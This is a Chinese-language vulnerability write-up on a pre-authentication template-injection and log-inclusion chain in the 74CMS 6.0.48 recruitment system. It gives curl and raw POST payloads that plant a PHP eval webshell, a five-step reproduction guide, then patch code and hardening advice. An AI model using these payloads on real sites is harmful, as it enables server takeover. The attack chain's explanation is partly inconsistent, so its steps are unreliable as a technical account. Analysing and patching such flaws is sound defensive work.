1. 漏洞背景与影响范围
74CMS作为国内广泛使用的人才招聘系统,其6.0.48版本曝出的模版注入与文件包含漏洞组合拳,堪称近年来企业CMS系统中最危险的攻击链之一。这个漏洞最可怕之处在于攻击者无需任何登录凭证,仅通过构造特殊HTTP请求就能实现服务器控制。我在实际渗透测试中发现,许多企业用户由于长期未更新系统,仍在使用受影响版本,这相当于给黑客敞开了大门。
该漏洞的核心在于assign_resume_tpl函数对用户输入过滤不严格,配合ThinkPHP框架的文件包含特性,形成了完整的RCE(远程代码执行)攻击路径。影响范围明确覆盖v6.0.48及以下所有版本,与早期v5.0.1后台RCE漏洞相比,这个漏洞的利用门槛更低——既不需要管理员权限,也不依赖后台登录。
2. 漏洞原理深度解析
2.1 模版注入漏洞成因
在/Application/Common/Controller/BaseController.class.php文件中,assign_resume_tpl函数原本的设计逻辑是处理简历模版渲染:
public function assign_resume_tpl($variable,$tpl){ foreach ($variable as $key => $value) { $this->assign($key,$value); } return $this->fetch($tpl); }问题出在$tpl参数未做严格校验。当攻击者提交恶意模版内容时,系统会直接将其作为PHP代码执行。比如构造这样的POST请求:
POST /index.php?m=home&a=assign_resume_tpl Content-Type: application/x-www-form-urlencoded variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>这段payload会直接在网站根目录生成webshell文件。我在测试时发现,即使开启了PHP安全模式,这种写入方式依然有效,因为漏洞利用的是CMS自身的模版渲染机制。
2.2 文件包含漏洞配合利用
单纯模版注入还不足以构成完整攻击链,关键在于74CMS的日志文件包含特性。系统会将错误信息记录在data/Runtime/Logs/Home/目录下,文件名格式为年_月_日.log(如21_01_20.log)。通过包含日志文件,可以执行之前注入的恶意代码:
POST /index.php?m=home&a=assign_resume_tpl Content-Type: application/x-www-form-urlencoded variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log这种组合攻击的精妙之处在于:
- 先通过模版注入写入恶意代码到日志
- 再利用文件包含执行日志中的代码
- 整个过程完全在前台完成,无需任何权限
3. 完整复现实战指南
3.1 环境搭建要点
建议使用PHP 5.6+MySQL环境复现,与生产环境更接近。我这里用Docker快速搭建:
docker run -d -p 8080:80 --name 74cms \ -v $(pwd)/upload:/var/www/html \ -e MYSQL_ROOT_PASSWORD=root \ php:5.6-apache安装时注意:
- 数据库字符集选择utf8mb4
- 关闭安装后自动删除install.php的功能
- 开启调试模式(后续查看日志更方便)
3.2 分步攻击演示
第一步:检测漏洞存在性访问http://target/index.php?m=home&a=assign_resume_tpl,若返回空白页或报错信息,说明端点存在。
第二步:注入webshell使用curl发送恶意请求:
curl -X POST "http://target/index.php?m=home&a=assign_resume_tpl" \ -d "variable=1&tpl=<?php file_put_contents('shell.php','<?php eval(\$_POST[cmd]);?>');?>"第三步:确定日志路径查看服务器响应头中的X-Powered-By字段,如果是ThinkPHP框架,默认日志路径为data/Runtime/Logs/Home/当前日期.log
第四步:文件包含执行
curl -X POST "http://target/index.php?m=home&a=assign_resume_tpl" \ -d "variable=1&tpl=data/Runtime/Logs/Home/24_07_15.log"第五步:验证webshell访问http://target/shell.php?cmd=phpinfo();,能看到phpinfo页面说明攻击成功。
4. 漏洞修复方案
官方在后续版本中增加了关键校验:
$view = new \Think\View; $tpl_file = $view->parseTemplate($tpl); if(!is_file($tpl_file)){ return false; }建议所有用户立即升级到最新版本。如果暂时无法升级,可以手动修改以下文件:
/Application/Common/Controller/BaseController.class.php增加上述校验/ThinkPHP/Library/Think/View.class.php注释掉第110行的模板不存在报错- 设置
Runtime目录不可执行PHP
5. 防御措施进阶建议
除了官方补丁,我建议企业用户额外实施:
- 在Nginx层添加规则拦截包含
Runtime/Logs的请求 - 定期清理日志文件,或将其存储在非web目录
- 使用PHP的open_basedir限制文件访问范围
- 对
assign_resume_tpl接口增加CSRF Token防护
这个漏洞给我们的启示是:即使使用成熟CMS也要保持警惕。我在安全审计中发现,很多企业CMS的漏洞都源于对"用户可控数据"的过度信任。建议开发者对所有接收外部输入的参数都实施白名单校验,这是阻断此类攻击最有效的方式。